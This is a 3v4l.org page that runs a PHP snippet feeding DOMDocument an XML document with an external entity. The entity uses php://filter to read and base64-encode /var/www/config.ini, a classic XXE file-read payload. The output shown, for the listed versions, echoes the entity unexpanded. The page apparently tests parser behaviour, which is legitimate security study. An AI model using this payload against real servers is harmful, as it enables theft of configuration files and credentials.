3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/config.ini" > ]> <results> <result>&harmless;</result> </results>'; $doc = new DOMDocument; $doc->loadXML($xml); echo $doc->saveXML();
Output for 5.4.2 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/config.ini"> ]> <results> <result>&harmless;</result> </results>
preferences:
227.13 ms | 404 KiB | 254 Q